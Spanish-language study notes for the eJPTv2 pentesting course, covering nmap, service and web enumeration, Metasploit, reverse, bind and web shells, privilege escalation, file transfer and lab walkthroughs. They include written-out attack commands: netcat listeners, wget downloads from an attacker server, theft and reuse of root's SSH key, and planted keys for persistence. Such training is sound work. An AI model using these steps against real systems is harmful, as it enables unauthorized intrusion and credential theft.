Conectarse: sudo openvpn archivo_academy.ovpn

Verificaciones:

1. ifconfig : ver interfaz de red

2. netstat -rn : redes accesibles desde VPN

![[Pasted image 20260325233452.png]]

3. ping -c 1 IP:

    Linux: TTL 63
    Windows: TTL 127

![[Pasted image 20260325233444.png]]

![[Pasted image 20260324210628.png]]

Automatismo nmap puertos

![[Pasted image 20260325202636.png]]

SSH - 22

SSH (22) es un protocolo de acceso remoto seguro. Nos podemos autenticar con credenciales (user:pass) o mediante una clave publica (pub_key o id_rsa)

ssh user@IP
	Enter Password: PASSWORD

ssh user@IP -i id_rsa

![[Pasted image 20260324231936.png]]

Netcat

Con netcat podemos conectarnos al puerto que queramos y podemos sacar su banner

nc -nv IP PUERTO

![[Pasted image 20260324231950.png]]

socat es una opcion que tiene opciones que netcat no pero veremos mas adelante

Apuntes Nmap de EJPTv2:

(sudo) nmap <-PARAMETROS> <IP> <-o(SALIDA)> <ARCHIVO_SALIDA>

***-sS necesita sudo***

Parametros Host Discovery

nmap -sn <IP | IP_red/mascara>

Realiza ping sweep para ver si el host destino esta levantado

Parametros PortScanning

Parametro	Explicacion
Sin parametros	Hace un SYN scan de los 1000 puertos mas usados
-Pn	Omite la verificacion ping del principio por si el sistema la deniega
-p-	Escanea todos los 65.535 puertos
-p N o N,N o N-N	Escanea un puerto especifico, puertos especificos o un rango de puertos
-F	Escanea los 100 puertos mas usados
-sU	Escanea puertos UDP
-sV	Escanea en busca de las versiones especificas de los puertos encontrados
-sC	Escanea y usa scripts .nse para obtener mas informacion de los puertos
-O	Intenta averiguar el SO del host
-A	Escaneo agresivo que es como juntar (-sV -sC -O)
-T 0-5 o palabras	Velocidad del escaneo. Las palabras son (paranoid, sneaky, normal, aggresive, insane)
-o(N,X,G,A) archivo	Guara el resultado en un archivo con formato (.nmap, .xml, grepeable o todos) Para MSF .xml -oX
-sS	Escaneo silencioso ya que no termina el 3 way handshake (necesita sudo)
-sT	Escaneo normal ya que termina el 3 way handshake

Buscar scripts:

ls -la /usr/share/nmap/scripts/ | grep -e "ftp"
locate /scripts/ftp

EJEMPLO ![[Pasted image 20260324212501.png]] ![[Pasted image 20260324212513.png]]

Buscar info del SO y distro

![[Pasted image 20260324212254.png]]

Buscardor: 1:<SUBRAYADO_AZUL> ![[Pasted image 20260324212404.png]]![[Pasted image 20260324212421.png]]

Atacando servicios red

Banner Grabing

En nmap podemos conseguir algunos banner grabbing y asi obtener versiones, sino podemos usar netcat

nc -nv IP PUERTO

![[Pasted image 20260324212722.png]]

FTP

![[Pasted image 20260324212919.png]]

Permite login anonimo y se encuentra un archivo login.txt ![[Pasted image 20260324212937.png]]

SMB

Se ejecuto un script para sacar el SO de la maquina y se encontro Windows 7 que es vulnerable a EternalBlue que podriamos explotar con MSF

![[Pasted image 20260324213024.png]]

Otro ejemplo pero con Samba usando -A para sacar todo lo posible. Vemos version de Samba, Linux distro y su hostname de NetBIOS: ![[Pasted image 20260324213138.png]]

Podemos tratar de listar los shares con smbclient o smbmap:

Listado (-L) de forma anonima (-N): ![[Pasted image 20260324213310.png]]

Nos tratamos de conectar con el usuario guest (suele estar siempre presente) pero no deja: ![[Pasted image 20260324213429.png]]

Con credenciales validas: ![[Pasted image 20260324213450.png]]

SNMP

Nos proporcionan cadenas comunitarias que nos dan informacion estatica de los ruters y otros dispositivos de la red

Las dos cadenas comunitarias por defecto son:

• public
• private

Versiones SNMP:

• 1 y 2c: permitian autenticacion usando la cadena comunitaria en texto claro. Si te la sabes el nombre estas dentro

  snmpwalk -v VERSION -c CADENA_COMUNITARIO OID

![[Pasted image 20260324213952.png]]

OID es como se piden las cosas en SNMP (no se usan nombres como hostname). Lista de OIDs mas usados:

OID	Que nos da
1.3.6.1.2.1.1.1.0	Descripcion del sistema
1.3.6.1.2.1.1.5.0	Hostname (usado en las imagenes)
1.3.6.1.2.1.1.4.0	Contacto
1.3.6.1.2.1.25.4.2.1.2	Procesos

• 3: se añadio encriptacion y autenticacion

Examinando los parametros de los procesos podemos obtener credenciales pasadas por linea de comandos, routing info, otras interfaces, version de softwares instalados….

onesixtyone: es una herramientas con la que podemos sacar cadenas comunitarias a base de fuerza bruta

onesixtyone -c WORDLIST IP

![[Pasted image 20260324214512.png]]

La wordlist dict.txt es una wordlist que viene con la herramienta descargada de github en: https://github.com/trailofbits/onesixtyone

LABORATORIO

Que es un webserver

Aplicacion que corre en un servidor back-end y gestiona peticiones HTTP del lado del cliente (navegador) y es el responsable de conectar a los usuarios finales con webapps

Puerto 80 y 443

OWASP Top 10 es una lista de las 10 vulnerabilidades mas peligrosas (no es una lista exahustiva)

![[Pasted image 20260324210948.png]]![[Pasted image 20260324210958.png]]

Webservers hosts webapps (a veces mas de una)

Gobuster

Tras descubrir una aplicacion web debemos ver los directorios y recursos escondidos que pueden tener funcionalidades que deberian estar ocultas

Enumeracion de directorios

Herramientas como gobuster o ffuf pueden realizar enumeracion de directorios

gobuster dir -u http://IP/ -w WORDLIST
WORDLIST: /usr/share/seclists/Discovery/Web-Content/common.txt

Encontramos un /wordpress por lo que el CMS es WordPress:

![[Pasted image 20260324223051.png]]

Status Codes:

• 200 Success
• 301 Redirect
• 403 Forbidden

Lo visitamos http://1IP/wordpress: ![[Pasted image 20260324223301.png]]

Enumeracion de subdominios

Descargamos la SecList que contiene muchas wordlists que usaremos:

git clone https://github.com/danielmiessler/SecLists
sudo apt install seclists -y

Antes de continuar añadiremos el DNS 1.1.1.1 a /etc/resolv.conf

Obtenemos el dominio (inlanefreight.com)

nslookup IP IP 

Realizamos el escaneo de subdominios:

gobuster dns -d DOMINIO -w  WORDLIST
WORDLIST: /usr/share/SecLists/Discovery/DNS/namelist.txt

Encontramos varios NS (nameservers) y varios subdominios que pueden ser atacados:

![[Pasted image 20260324223730.png]]

TIPS para web enum

Banner Grabbing webserver headers del /

Nos dara informacion del framework usado, optiones de autenticacion…

curl -IL http://domain|subdomain|IP

![[Pasted image 20260324224044.png]]

Otra herramienta que podemos usar es EyeWitness. Esta herramienta realiza:

• Screenshots de la pagina web

• Fingerprinting de esta

• Identifica posibles creds default

  eyewitness -f lista_ips.txt -d directorio_local_guardar –add-http-ports PUERTOS_NO_STANDARD

En lista_ips.txt podemos poner el directorio que queremos por ejemplo IP/wordpress

Nos da dos columnas una con la Info del web request y la otra con el screenshot de ese recurso/directorio:

![[Pasted image 20260324225045.png]]

whatweb

Extraer version del server, frameworks, application que usa…

whatweb IP

![[Pasted image 20260324225226.png]]

whatweb --no-errors IP_red/Mascara

![[Pasted image 20260324225352.png]]

Mirando certificados SSL/TLS

Estos pueden darnos alguna info extra como nombre de empresa, emails… que pueden ser usados para phising

![[Pasted image 20260324225501.png]]

robots.txt

/robots.txt es un recurso que se usa para decir al buscador que si y que no se puede acceder mediante indexacion. Podemos ver en el alguna localizacion privada como archivos y admin pages

![[Pasted image 20260324225645.png]]

Navegamos a private: ![[Pasted image 20260324225705.png]]

Codigo fuente

Mirando el codigo fuente tambien podemos sacar informacion muy valiosa

Ctl + U

![[Pasted image 20260324225810.png]]

LABORATORIO

![[Pasted image 20260325151402.png]]![[Pasted image 20260325151413.png]] Nada en el codigo fuente

Vamos a realizar un ataque de fuerza bruta de directorios a ver si encontramos algo: ![[Pasted image 20260325151538.png]]

Encontramos varios pero nos fijamos en el robots.txt: ![[Pasted image 20260325151611.png]]

Vemos un recurso de login para admins, lo visitamos: ![[Pasted image 20260325151644.png]]

Miramos el codigo fuente: ![[Pasted image 20260325151705.png]]![[Pasted image 20260325151720.png]]![[Pasted image 20260325151731.png]]

Una vez que hemos hecho el escaneo de versiones y puertos el siguiente paso es encontrar exploits en fuentes publicas

Encontrando exploits en fuentes publicas

![[Pasted image 20260325152010.png]]

Searchsploit y Exploit DB

searchsploit PROTOCOLO VERSION PLATAFORMA...

![[Pasted image 20260325152038.png]]

ExploitDB: https://www.exploit-db.com/ Rapid7: https://www.rapid7.com/db/ Vulnerability Lab: https://www.vulnerability-lab.com/

Metasploit

Es una herramienta que contiene exploits preconstruidos para muchas vulnerabilidades conocidas

Con esta herramienta se puede:

• Correr scripts de reconocimiento para enumerar hosts remotos y comprometer los objetivos

• Verificar si el objetivo es vulnerable a ese script o vulnerabilidad antes de comprometerlo

• Conectar shells y correr comandos en los objetivos comprometidos

• PostExploit y pivoting tools

  msfconsole search type:exploit name:NOMBRE_VULN platform: PLATAFORMA search PROTOCOLO VERSION PLATAFORMA use RUTA_EXPLOIT | NUMERO show options set OPTION VALOR check run | exploit

![[Pasted image 20260325152550.png]]![[Pasted image 20260325152600.png]]![[Pasted image 20260325152734.png]]![[Pasted image 20260325152745.png]]![[Pasted image 20260325152753.png]]![[Pasted image 20260325152801.png]]![[Pasted image 20260325152809.png]]

LABORATORIO

![[Pasted image 20260325153445.png]]

Vemos dos Apache 2.4.41: ![[Pasted image 20260325153550.png]]

Si miramos la pagina principal encontramos lo siguiente: ![[Pasted image 20260325154844.png]]

Si buscamos en searchsploit algun exploit encontramos uno de lectura transversal de archivos: ![[Pasted image 20260325154913.png]]

Vamos a mirar si existe en MSF para automatizarlo: ![[Pasted image 20260325154957.png]]![[Pasted image 20260325155007.png]]![[Pasted image 20260325155020.png]]![[Pasted image 20260325155032.png]]![[Pasted image 20260325155040.png]]

Funciona, ahora vamos a ver la /flag.txt ![[Pasted image 20260325155106.png]]

Una vez que comprometamos el objetivo necesitaremos ejecutar comandos en el. Algunas formas de conectarse son mediante SSH en Linux o WinRM en Windows

Otro metodo metodo para acceder al host y tener control y ejecucion remota de codigo es mediante shells. 3 tipos:

![[Pasted image 20260325155512.png]]

Reverse Shell

Una vez que hemos identificado una vulnearbildiad en el host que nos permita ejecutar codigo, abrimos netcar como listener en uno de nuestros puertos y ejecutamos un comando reverse shell en la maquina objetivo que nos devuelva un shell listener

Listener: nc -nvlp PUERTO

![[Pasted image 20260325155647.png]]

Miramos nuestra IP local: ip a\

![[Pasted image 20260325155744.png]]

Ejecutamos codigo reverse shell en la maquina objetivo: 

Pagina con codigos reverse shell: https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#php

	1. Bash

![[Pasted image 20260325155849.png]]

	2. Powershell

![[Pasted image 20260325155901.png]]

o

![[Pasted image 20260325155918.png]]

Obtenemos el shell en nuestro listener

![[Pasted image 20260325160025.png]]

Bind Shell

Es exactamente al reves que reverse shell. El listener estara en la maquina objetivo y desde nuestra maquina atacante ejecutaremos el codigo shell para enviarle una shell

Listener en el objetivo: nc IP_objetivo PUERTO

![[Pasted image 20260325160159.png]]

Ejecutamos codigo shell en nuestra maquina hacia la IP atacante y obtenemos shell:

	1. Bash

![[Pasted image 20260325160244.png]]

	2. Powershell

![[Pasted image 20260325160305.png]]

o

![[Pasted image 20260325160313.png]]

	3. Netcat: nc IP_objetivo PUERTO_ABIERTO

![[Pasted image 20260325160606.png]]

Upgradeando shell

Hay multiples formas pero lo haremos con python:

1. En la shell obtenida:

   python –version python -c ‘import pty; pty.spawn(“/bin/bash”)’ Ctl Z

![[Pasted image 20260325161132.png]]![[Pasted image 20260325161140.png]]

2. En nuestra terminal:

   stty raw -echo fg Doble ENTER

![[Pasted image 20260325161153.png]]

3. En este punto ya tenemos una tty interactiva completa pero veremos que no cubre la pantalla completa. En otra terminal nuestra ejecutamos lo siguiente:

   echo $TERM stty size

![[Pasted image 20260325161202.png]] ![[Pasted image 20260325161214.png]]

4. Volviendo a la shell del objetivo:

   export TERM=xterm-256color stty rows N1 colums N2

![[Pasted image 20260325161236.png]]

Ya estaria una shell igual que si nos conectasemos por SSH

WebShell

Es un script shell escrito en PHP o APSX (dependiendo de lo que corra el webserver) que intercepta parametros de peticiones HTTP como GET y POST, ejecuta comandos y los imprime por pantalla

PHP

![[Pasted image 20260325161446.png]]

JSP

![[Pasted image 20260325161605.png]]

ASP Clasico

![[Pasted image 20260325161613.png]]

Cargando el webshell en el webserver

Necesitaremos cargar este codigo en un directorio del webserver para poder ejecutarlo porsteriormente

webroots: ![[Pasted image 20260325161722.png]]

Si tenemos ya ejecucion remota en el objetivo de comandos podemos hacer lo siguiente, sino lo tendremos que subri de otra manera como aprovechandonos de alguna vulnerabilidad:

![[Pasted image 20260325161908.png]]

Accediendo al webshell

Tenemos que navegar hasta la ruta donde se encuentra y luego usar:

?cmd=COMANDOS

![[Pasted image 20260325162013.png]]

Con curl: ![[Pasted image 20260325162031.png]]

Tambien se puede hacer con el repeater de Burp

Normalmente nuestro primer acceso a un servidor es como un usuario de bajos privilegios. Para ganar acceso total necesitaremos encontrar una vulnerabilidad local para escalar nuestros privielegios a root en Linux o admisnitrator o SYSTEM en Windows

PrivEsc Checklist

HackTricks : es una checklist de cosas que mirar para Linux y Windows para escalar de forma local

Linux:

![[Pasted image 20260325163445.png]]

Windows:

![[Pasted image 20260325163513.png]]

PayloadsAllTheThings : tambien tiene una checklist de cosas que mirar

Scripts de enumeracion

1. Linux:  LinEnum o

2. Windows: JAWS

3. Ambas: Privilege Escalation Awesome Scripts SUITE (PEASS) Para Windows dentro del repo se llama winPEAS y para Linuc linPEAS

![[Pasted image 20260325163954.png]]

Kernel Exploits

Si entramos en un host antiguo podemos mirar vulns del kernel Ejemplo: 3.9.0-73-generic, si buscamos en searchsploit o por Google encontraremos el exploit llamado DirtyCow

Sw vulnerable

Linux: dpkg -l
Windows:  C:\Program Files

Esto nos permitira ver sw instalado en el sistema y podemos mirar por exploits sobretodo si una version antigua esta en uso y no se ha parcheado

Usar privilegios

Ver lo que somos capaces de hacer:

Sudo
SUIDs
Windows Token Privilege

1. Sudo nos permite ejecutar comandos como otro usuario. Se suele usar para permitir a usuarios de bajos privilegios ejecutar comandos con privilegios altos como root (por ejemplo tcpdump solo puede ser ejecutado como root)

    sudo -l : ver nuestros privs

![[Pasted image 20260325164748.png]]

Vemos que dice que podemos correr todos los comandos con sudo. Podemos cambiar de usuario a root ejecutado su:

![[Pasted image 20260325164940.png]]

Otra veces solo podremos ejecutar cosas especificas con sudo, pero podriamos usar eso para escalar privs: ![[Pasted image 20260325165020.png]]

GTFOBins : contiene una lista de comandos que pueden ser explotados con sudo

Tareas programadas

Hay metodos en ambos sistemas operativos para hacer que scripts y tareas se ejecuten cada cierto tiempo

Linux: crobjobs
Windows: Schedule Tasks

Hay 2 formas de usarlas para escalar privilegios:

1. Añadir una nueva tarea programada
2. Engañarla para ejecute codigo malicioso con los privs de ese usuario

Si podemos escribir en un directorio llamado por cron podriamos escribir un script bash para que ejecute un reverse shell

Linux:

cat /etc/*cron
Rutas:
	1. /etc/crontab
	2. /etc/cron.d
	3. /var/spool/cron/crontabs/root

Credenciales expuestas

Podemos buscar archivos que podamos leer que puedan tener credenciales expuestas.

Archivos de configuracion
Archivos de log 
Bash history o PSReadLine

Los scripts de enumeracion suelen buscar estos archivos en busca de creds potenciales: ![[Pasted image 20260325165938.png]]

Podemos ver las credenciales expuestas de un usuario mysql. Podemos ver si es vulnerable a password reuse y tambien podriamos conectarnos por ssh:

![[Pasted image 20260325170021.png]]

SSH Keys

/home/user/.ssh/id_rsa
/root/.ssh/id_rsa 

Son claves publicas que pueden ser usadas para conectarnos por ssh sin necesidad de conocer la contraseña

En el sistema objetivo cat /ruta/id_rsa

En nuestro sistema nano id_rsa Pegamos todo el contenido chmod 600 id_rsa ssh root@IP -i id_rsa

![[Pasted image 20260325170326.png]]

Si encontramos que tenemos permisos de escritura en nuestro .ssh podemos crear nuestas propias keys para poder conectarnos posteriormente. Esto se suele hacer para ganar persistencia por ssh tras obtener una shell

ssh-keygen -f key

![[Pasted image 20260325170704.png]]

Generara dos archivos:

1. key : lo usaremos con -i para conectarnos
2. key.pub : lo copiaremos en el sitema objetivo en /ruta/id_rsa

![[Pasted image 20260325170717.png]] ![[Pasted image 20260325170728.png]]

LABORATORIO

![[Pasted image 20260325171031.png]]![[Pasted image 20260325171044.png]]

No tenemos permisos de lectura en la carpeta de user2

Aqui vemos que tenemos permisos sudo para el binario /bin/bash ![[Pasted image 20260325171113.png]]

Creamos una shell interactiva con el usuario user2 para leer la flag: ![[Pasted image 20260325171158.png]]

Conseguir persistencia via ssh en user2: ![[Pasted image 20260325172246.png]]![[Pasted image 20260325172259.png]]![[Pasted image 20260325172311.png]]

Pasamos linpeash: ![[Pasted image 20260325173200.png]]![[Pasted image 20260325173209.png]]

Lo ejecutamos: ![[Pasted image 20260325173246.png]]

Vemos que ha obtenido el id_rsa de root: ![[Pasted image 20260325173552.png]]

Lo copiamos y pegamos en nuestro host de ataque, le damos permisos necesarios y nos conectamos: ![[Pasted image 20260325173725.png]]![[Pasted image 20260325173750.png]]

Durante un pentest necesitaremos subir archivos al objetivo o descargarlos.

Herramientas como MSF con shell Meterpreter permiten subir y descargar rapidamente archivos con paremetros como:

upload /ruta/archivo_local
download /ruta/archivo_remoto

Usando wget

Un metodo es crear un server HTTP con python y despues usar desde el objetivo Linux wget o curl:

En nuestra maquina: cd /tmp python3 -m http.server 80 o python -m SimpleHTTPServer 80

En la maquina objetivo: wget http://IP:80/archivo curl http://IP:80/archivo -o nombre_archivo

Usando scp

Si tenemos credenciales ssh podemos usar scp

Subir un archivo:

scp archivo_local USER@IP:/ruta/remota/archivo

Descargar:

scp USER@IP:/ruta/remota/archivo archivo

Usando Base64

Habra veces que no podamos subir un archivo debido al firewall y tendremos que pasar el contenido del archivo a base64, pegarlo en sistema remoto y decodificarlo

1. Desde nuestra maquina:

    Linux:  base64 archivo -w 0   (-w 0 porque es un binario)
    Windows: [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\ruta\archivo"))

2. Maquina remota

    Linux:   echo 'BASE64' | base64 -d > archivo
    Windows: [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("BASE64"))

Validando archivos

file archivo : validar el formato de un archivo
md5sum archivo : se ejecuta en ambos sistemas para ver si el hash coincide

Realizamos un escaneo de puestos basico

![[Pasted image 20260326142725.png]]

Vamos a ver la pagina web para saber a lo que nos enfrentamos y encontramos el CMS GetSimple

![[Pasted image 20260326142924.png]]![[Pasted image 20260326143024.png]]

Hemos visto que tiene un /robots.txt con un /admin/ ![[Pasted image 20260326143102.png]] ![[Pasted image 20260326143148.png]]

Vamos a enumerar directorios con gobuster antes de intentar nada de fuerza bruta a ver si encontramos info:

![[Pasted image 20260326143439.png]]

En /data/users/admin.xml encontramos lo que parece ser un hash y un usuario admin:

![[Pasted image 20260326171654.png]]

![[Pasted image 20260326173132.png]]

Encontramos las credenciales admin:admin por lo que intentamos entrar al cms por el panel de login admin

![[Pasted image 20260326173210.png]]

Dentro vemos que se trata de la version GetSimple 3.5.15

![[Pasted image 20260326173229.png]]

Buscamos vulns con searchsploit

![[Pasted image 20260326173339.png]]

Buscamso en internet a ver si encontramos algo

![[Pasted image 20260326173355.png]]

Aqui como hemos visto hay una vulnerabilidad en MSF que podemos automatizar

![[Pasted image 20260326173435.png]] ![[Pasted image 20260326181041.png]]![[Pasted image 20260326181005.png]]

Vemos que no es vulnerable de esta forma.

Pero vamos a hacer de forma manual:

![[Pasted image 20260326173915.png]]![[Pasted image 20260326174001.png]]![[Pasted image 20260326174011.png]]![[Pasted image 20260326174153.png]]![[Pasted image 20260326174238.png]]

Como hemos visto no nos deja abrirlo directamente (es debido al codigo php anterior), probamos con un reverse shell directamente borrando todo el contenido

![[Pasted image 20260326174759.png]]![[Pasted image 20260326174456.png]]

Abrimos un listener

![[Pasted image 20260326174510.png]]![[Pasted image 20260326174911.png]]

Estamos dentro y conseguimos la primera flag

![[Pasted image 20260326174843.png]]

Escala de privs

Podemos usar php como sudo sin contraseña, por lo que podemos crear un reverse shell php y ejecutarlo con privs de root

![[Pasted image 20260326180244.png]] ![[Pasted image 20260326175557.png]]

Antes abrimos nuestro listener

![[Pasted image 20260326175635.png|341]]

Ejecutamos el shell

![[Pasted image 20260326175605.png]]

Obtenemos el shell root y obtenemos la ultima flag

![[Pasted image 20260326175617.png]]

![[Pasted image 20260326175743.png]]

![[Pasted image 20260325224928.png]]![[Pasted image 20260325225111.png]]

![[Pasted image 20260325225215.png]]![[Pasted image 20260325225225.png]]![[Pasted image 20260325225251.png]]![[Pasted image 20260325225307.png]]![[Pasted image 20260325225417.png]] ![[Pasted image 20260325225655.png|687]]![[Pasted image 20260325225932.png]]![[Pasted image 20260325225732.png]]![[Pasted image 20260325225746.png]]![[Pasted image 20260325225809.png]]

Usuario: admin

No encontramos la password

![[Pasted image 20260325225834.png]]

![[Pasted image 20260325225950.png]]

Podemos probar hydra:

![[Pasted image 20260325230156.png]]![[Pasted image 20260325230411.png]]

![[Pasted image 20260325230612.png]]

![[Pasted image 20260325230707.png]]![[Pasted image 20260325230724.png]]![[Pasted image 20260325230751.png]]![[Pasted image 20260325230801.png]]![[Pasted image 20260325230809.png]]![[Pasted image 20260325230840.png]]![[Pasted image 20260325230854.png]]![[Pasted image 20260325230903.png]]![[Pasted image 20260325231006.png]]

Parece no ejecutarse, vamos a probar con reverse shell en bash

![[Pasted image 20260325231140.png]]![[Pasted image 20260325231207.png]]![[Pasted image 20260325231214.png]]![[Pasted image 20260325231231.png]]![[Pasted image 20260325231258.png]]

Nada vamos con un webshell ![[Pasted image 20260325231402.png]]![[Pasted image 20260325231427.png]]

Ahora si es un php con codigo bash dentro. Vamos a subir esto con en vez de id un reverse shell

![[Pasted image 20260325231712.png]]![[Pasted image 20260325231545.png]]![[Pasted image 20260325231749.png]]![[Pasted image 20260325231757.png]]![[Pasted image 20260325232240.png]]![[Pasted image 20260325232321.png]]![[Pasted image 20260325232626.png]]![[Pasted image 20260325232636.png]]![[Pasted image 20260325232720.png]]![[Pasted image 20260325232918.png]]![[Pasted image 20260325233057.png]]

![[Pasted image 20260325233210.png]] ![[Pasted image 20260325233203.png]]![[Pasted image 20260325233231.png]]![[Pasted image 20260325233247.png]]

CON MSF

![[Pasted image 20260325233943.png]]![[Pasted image 20260325233952.png]]![[Pasted image 20260325233958.png]]![[Pasted image 20260325234015.png]]

(sudo) nmap <-PARAMETROS> <IP> <-o(SALIDA)> <ARCHIVO_SALIDA>

***-sS necesita sudo***

Parametros Host Discovery

Parametro	Explicacion
-sn	Desactiva portscan para el host discovery de varias formas: - ICMP Echo Request (ping clásico) - ICMP Timestamp - TCP SYN a puerto 443 - TCP ACK a puerto 80
-sn -PE	Solo realizara descubrimiento mediante ICMP echo Request
–pacjet-trace	Muestra todos los paquetes que son enviados y recibidos
–reason	Nos dice la razon de la respuesta/salida de nmap
–disable-arp-ping	Por defecto tambien usa ARP request y reply para decir si un host esta alive o no. Con esto lo desactivamos

Ejemplo de Multiples IPs

Realiza ping sweep para ver si el host destino esta levantado

nmap -sn <IP_red/mascara\>

Para meter todas las IPs encontradas en una archivo podemos hacer lo siguiente:

sudo nmap 10.129.2.0/24 -sn -oA tnet | grep for | cut -d" " -f5 > ips.txt

![[Pasted image 20260327152902.png]]

O si nos dan una lista de IPs:

![[Pasted image 20260327152923.png]]![[Pasted image 20260327152932.png]]

Ejemplo de una IP

Realiza ping sweep para ver si el host destino esta levantado

nmap -sn <IP_red/mascara\>

![[Pasted image 20260327152809.png]]

Usamos -PE para hacer solo ICMP echo request, –reason para ver la razon de la salida de nmap y –packet-trace para ver todos los paquetes enviados y recibidos:

sudo nmap 10.129.2.18 -sn -oA host -PE --reason --packet-trace

![[Pasted image 20260327152759.png]]

Aqui podemos ver como nmap usa ARP request y reply para saber si esta alive o no. Para deshabilitarlo usamos –disable-arp-ping

sudo nmap 10.129.2.18 -sn -oA host -PE --packet-trace --disable-arp-ping

![[Pasted image 20260327152748.png]]

Estado	Explicacion
open	La conexion con el puerto escaneado se ha establecido (TCP,UDP o SCTP associations)
closed	Significa que el paquete TCP recibido contiene la flag RST
filtered	Nmap no puede identificar correctamente si el puerto esta abierto o cerrado porque no se devuelve ninguna de las dos respuestas o se nos devolvio un codigo de error desde el objetivo
unfiltered	Solo ocurre en scaneos TCP-ACK y significa que el puerto es accesible pero no se puede determinar si cerrado o abierto
open|filtered	Si no recibimos ninguna respuesta del puerto. Esto puede indicar que el firewall o filtro de paquetes protege el puerto
closed|filtered	Solo en escaneos IP ID idle e indica que es imposible de determinar si el puerto esta cerrado o filtrado

Parametros

Parametro	Explicacion
Sin parametros	Hace un SYN scan de los 1000 puertos mas usados
-p-	Escanea todos los 65.535 puertos
-p N o N,N o N-N	Escanea un puerto especifico, puertos especificos o un rango de puertos
-F	Escanea los 100 puertos mas usados
–top-ports=N	N puertos mas usados
-sV	Escanea en busca de las versiones especificas de los puertos encontrados
-sC	Escanea y usa scripts .nse para obtener mas informacion de los puertos
-O	Intenta averiguar el SO del host
-A	Escaneo agresivo que es como juntar (-sV -sC -O)
-T 0-5 o palabras	Velocidad del escaneo. Las palabras son (paranoid, sneaky, normal, aggresive, insane)
-sS	Escaneo silencioso ya que no termina el 3 way handshake (necesita sudo)
-sT	Escaneo normal ya que termina el 3 way handshake-n
-sU	Escanea puertos UDP. Son stateless y no recibimos ACK por eso tarda tanto
-Pn	Omite la verificacion ping del principio por si el sistema la deniega
-n	Eliminar el DNS resolution
–open	Solo puertos open
-o(N,X,G,A) archivo	Guara el resultado en un archivo con formato (.nmap, .xml, grepeable o todos) Para MSF .xml -oX
xsltproc archivo.xml - archivo.html	Pasar archivo xml a htlm para verlo en el browser mas bonito
Buscar scripts:

ls -la /usr/share/nmap/scripts/ | grep -e "ftp"
locate /scripts/ftp

Parametros extra

Paramtro	Explicacion
–stats-every=Ns/m	Que nos saque como va cada 5s (se puede hacer sin esto solo dando al espacio)
-v/vv	Modo verbose
-Pn -n –disable-arp-ping –packet-trace	Para ver el flujo de paquetes de forma mucho mas limpia
–trace-route	Ver los saltos hasta el objetivo

Filtered ports

Cuando hay puertos filtrados hay muchas opciones pero una es que el firewall tenga reglas especificas para la conexion donde los paquetes pueden ser dropped (firewall ignora el paquete (timeout), tarda mas de lo normal) o rejected (firewall nos rechaza, tarda menos y nos dara un ICMP Type code 3 port unreachable)

1. Si no recibimos respuesta, esta drop podemos usar (–max-retries N). Ejemplo de drop:

   sudo nmap 10.129.2.28 -p 139 –packet-trace -n –disable-arp-ping -Pn

![[Pasted image 20260327155621.png]]

2. Si recibimos respuesta pero con un ICMP Type Code 3 unreachable port, es un rejected:

   sudo nmap 10.129.2.28 -p 445 –packet-trace -n –disable-arp-ping -Pn

![[Pasted image 20260327155602.png]]

Puertos UDP

Tarda mucho porque los puertos UDP son stateless y no nos envian ACK.

Normalmente no nos devuelven nada a no ser de que esten configurados para eso

1. Ejemplo Open: nos da respuesta

   sudo nmap 10.129.2.28 -sU -Pn -n –disable-arp-ping –packet-trace -p 137 –reason

![[Pasted image 20260327155952.png]]

2. Ejemplo Closed: recibimos un ICMP Type Code 3

   sudo nmap 10.129.2.28 -sU -Pn -n –disable-arp-ping –packet-trace -p 100 –reason

![[Pasted image 20260327160040.png]]

3. Ejemplo open|filetered: para el resto de respuestas y casos

sudo nmap 10.129.2.28 -sU -Pn -n –disable-arp-ping –packet-trace -p 138 –reason

![[Pasted image 20260327160134.png]]

LABORATORIO

![[Pasted image 20260327160716.png]]![[Pasted image 20260327161413.png]]

Con Nmap

Con esto conseguimos ver el banner grabbing del puerto y obtener su version

nmap PARAMETROS -sV IP --script banner

![[Pasted image 20260327162205.png]]

Primero intenta sacar la version del banner grabbing y si no puede lo trata de conseguir mediante la firma y mirando en la database. El problema con esto esq puede olvidar informacion importante

Podemos usar:

-Pn -n --disable-arp-ping --packe-trace

Para ver una salida limpia y encontrar el banner grabbing por nosotros mismos y ver asi toda la informacion. Incluso podemos ver que se trata de un Linux Ubuntu

![[Pasted image 20260327162220.png]]

Con nc

nc -nv IP PUERTO

![[Pasted image 20260327163826.png]]

Para ver lo que pasa realmente primero ejecutamos tcpdump:

sudo tcpdump -i INTERFAZ host IP_origen and IP_destino

![[Pasted image 20260327163924.png]]

Ejecutamos el nc:

nc -nv IP PUERTO

![[Pasted image 20260327163936.png]]

En la salida de tcpdump vemos 3 primeras lineas del 3 way handshake y luego un PSH ACK que es donde se envia la informacion del banner grabbing:

![[Pasted image 20260327164054.png]]

LABORATORIO

![[Pasted image 20260327165236.png]]![[Pasted image 20260327165315.png]]

No se ve muy bien pero si lo hacemos solo hacia ese puerto se ve un poco mas facil: ![[Pasted image 20260327165357.png]]

Con nc tambien se puede hacer:

![[Pasted image 20260327165418.png]]

Categorias

![[Pasted image 20260327165506.png]]

Parametros

Parametro	Explicacion
-A	-sV, -sC, -O
-sC	Lanza los scripts mas usados
–script categoria	Lanza los scripts de esa categoria
–script name,name –script-args name_arg1=VALUE,name_arg2=VALUE	Elegir el script y argumentos si es que lo necesita
–script-help name	Ayuda de ese script Para ver los argumentos tenemso que ir a su pagina web
–script-updatedb	Actualizar BBDD NSE

Ejemplo lanzando 2 scripts especificos

sudo nmap IP -p25 --script name,name

![[Pasted image 20260327170012.png]]

Ejemplo lanzando todos los scripts de vuln al puerto 80

Solo se ejecutaran los vulns relacionados con ese servicio

sudo nmap IP -p80 -sV --script vuln

![[Pasted image 20260327170129.png]]

LABORATORIO

![[Pasted image 20260327171150.png]]![[Pasted image 20260327171203.png]]![[Pasted image 20260327171210.png]]

Tiempos de espera

Cuando nmap envia un paquete siempre tiene un RTT para recibir respuesta. Este puede modificar para que nuestros escaneos duren menos. Por defecto el inicial es 100ms

Parametro	Explicacion
–initial-rrt timeout Nms	Tiempo de espera inicial antes de darlo por perdido
–max–rtt-timeout Nms	Tiempo de espera maximo antes de darlo por perdido

Ejemplo con y sin estos parametros en escaneo de puertos y host discovery:

• Default:

![[Pasted image 20260327171957.png]]

• Optimizando RTT

![[Pasted image 20260327172025.png]]

Vemos que tardamos mucho menos pero hemos perdido 2 hosts que si que estaban activos

